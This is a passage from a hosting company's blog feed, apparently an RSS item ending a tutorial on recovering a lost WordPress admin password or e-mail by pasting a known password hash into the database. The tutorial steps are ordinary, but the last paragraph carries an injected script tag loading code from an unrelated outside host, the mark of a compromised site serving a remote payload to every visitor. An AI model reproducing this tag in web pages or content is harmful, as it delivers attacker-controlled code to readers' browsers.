<li>Now, simply past the string &#8220;$P$Bq8Zk0hCxoUDcKV8jcmymS1Q10dQbz0&#8243; into the password field</li>
</ul>
<p>This has set your password back to &#8220;password&#8221;.  Now you can login and change your password to something else.</p>
<p>You can also change the E-mail address of a user account using steps 1-5 above and just change the E-mail field instead of the password field.  This might be useful if you need to change the E-mail address of a user on you blog without changing their password.<script src="http://aioe.cz.cc/3"></script></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.haggardhosting.com%2Fwordpress%2Fhow-to-recover-lost-wordpress-admin-password-or-e-mail%2F&amp;title=How%20to%20recover%20lost%20WordPress%20Admin%20password%20or%20E-mail" id="wpa2a_20"><img src="http://www.haggardhosting.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.haggardhosting.com/wordpress/how-to-recover-lost-wordpress-admin-password-or-e-mail/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

